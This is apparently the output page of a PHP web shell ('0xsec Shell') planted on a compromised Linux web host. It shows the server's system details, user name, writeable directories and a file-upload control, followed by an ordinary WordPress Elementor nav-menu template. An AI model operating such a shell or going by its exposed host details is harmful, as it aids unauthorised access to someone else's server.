0xsec Shell
0xSec


Server : LiteSpeed
System : Linux webbox1.ncrdns.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : rahcos ( 1533)
PHP Version : 8.4.23
Disable Function : NONE
Directory :  /home/rahcos/.trash/wp-content/themes/hara/elementor_templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/rahcos/.trash/wp-content/themes/hara/elementor_templates/nav-menu.php
<?php
/**
 * Templates Name: Elementor
 * Widget: Menu Nav
 */

$settings = $this->get_active_settings();

extract($settings);

$active_ajax = false;

$available_menus = $this->get_available_menus();

if (!$available_menus || empty($menu) || !is_nav_menu($menu)) {
    return;
}

$_id = hara_tbay_random_key();

$args = [
    'echo'        => false,
    'menu'        => $menu,
    'container_class' => 'collapse navbar-collapse',
    'menu_id'     => 'menu-' . $this->get_nav_menu_index() . '-' . $_id,
    'walker'      => new Hara_Megamenu_Walker(),
    'fallback_cb' => '__return_empty_string',
    'container'   => '',
];

$args['menu_class'] = hara_nav_menu_get_menu_class($layout);

$args_canvas = [
    'echo'        => false,
    'menu'        => $settings['menu'],
    'menu_class'  => 'nav-menu--canvas',
    'menu_id'     => 'menu-' . $this->get_nav_menu_index() . '-' . $_id,
    'fallback_cb' => '__return_empty_string', 
    'container'   => '',
];


// General Menu.
$menu_html = wp_nav_menu($args);

// Dropdown Menu.
$args['menu_id'] = 'menu-' . $this->get_nav_menu_index() . '-' . $this->get_id();

if (empty($menu_html)) {
    return;
}


$this->add_render_attribute('main-menu', 'class', [
    'elementor-nav-menu--main',
    'elementor-nav-menu__container',
    'elementor-nav-menu--layout-' . $layout,
]);

$this->add_render_attribute(
    'main-menu',  
    [
        'class' => 'tbay-'.$layout,
        'data-id' => $menu
    ]
);


if ($layout === 'vertical' || $layout === 'treeview') {
    $this->add_render_attribute('main-menu', 'class', 'tbay-treevertical-lv1');
}
 
if ($type_menu === 'toggle') {
    $this->add_render_attribute('wrapper', 'class', 'category-inside');
}


if ($layout === 'vertical') {
    if (isset($toggle_vertical_submenu_align) && empty($toggle_vertical_submenu_align)) {
        $toggle_vertical_submenu_align = 'left';
    }
    
    if ($type_menu === 'canvas') {
        if ($toggle_canvas_content_align === 'left') {
            $toggle_vertical_submenu_align = 'right';
        } else {
            $toggle_vertical_submenu_align = 'left';
        }
    }

    $this->add_render_attribute('main-menu', 'class', 'vertical-submenu-'.$toggle_vertical_submenu_align);
}

if ( $ajax_toggle !== 'yes' && $show_content_menu === 'yes' && hara_tbay_is_home_page() && !is_home() ) {
    $this->add_render_attribute('wrapper', 'class', ['open' ,'setting-open']);
}

if ($type_menu === 'toggle') {
    $content_class = $this->add_render_attribute('content-class', 'class', 'category-inside-content');

    if( $toggle_content_menu === 'yes' && $ajax_toggle === 'yes' ) {
        $this->add_render_attribute('wrapper', 'class', ['element-menu-ajax', 'ajax-active']);
        $active_ajax = true;
	}
} elseif ($type_menu === 'canvas') {
    $this->add_render_attribute('wrapper', 'class', 'element-menu-canvas');
    $content_class = $this->add_render_attribute('content-class', 'class', 'menu-canvas-content');

    if( $toggle_canvas_content_align === 'left' ) {
        $offcanvas_position = 'offcanvas-start';
    } else {
        $offcanvas_position = 'offcanvas-end';
    }
    $this->add_render_attribute(
		'content-class',
		[
			'id' => 'canvas-menu-'. $this->get_id(),
			'class' => [ 'menu-canvas-content', 'offcanvas', $offcanvas_position ],
		]
	);

    if (isset($ajax_canvas) && $ajax_canvas === 'yes') {
        $this->add_render_attribute('wrapper', 'class', ['element-menu-ajax', 'ajax-active']);  
        $active_ajax = true;
    }  
}

$this->add_render_attribute(
    'wrapper',
    [
        'data-wrapper' => wp_json_encode([
			'layout' => $layout,
			'type_menu' => $type_menu
        ]),
    ]
);

?>
<div <?php echo $this->get_render_attribute_string('wrapper'); ?>>
	<?php echo $this->render_get_toggle_menu(); ?>
	
	<?php echo $this->render_canvas_button_menu(); ?>

	<?php if ( isset($type_menu) && $type_menu !== 'none' ) echo '<div '. $this->get_render_attribute_string('content-class') .' >'; ?>
		<?php echo $this->render_get_toggle_canvas_menu(); ?>
		<nav <?php echo $this->get_render_attribute_string('main-menu'); ?>>
			<?php 
				if( !$active_ajax ) {
					echo trim($menu_html); 
				}
			?>
		</nav>
	<?php if ( isset($type_menu) && $type_menu !== 'none' ) echo '</div>'; ?>

</div>

c0oded By c0rpz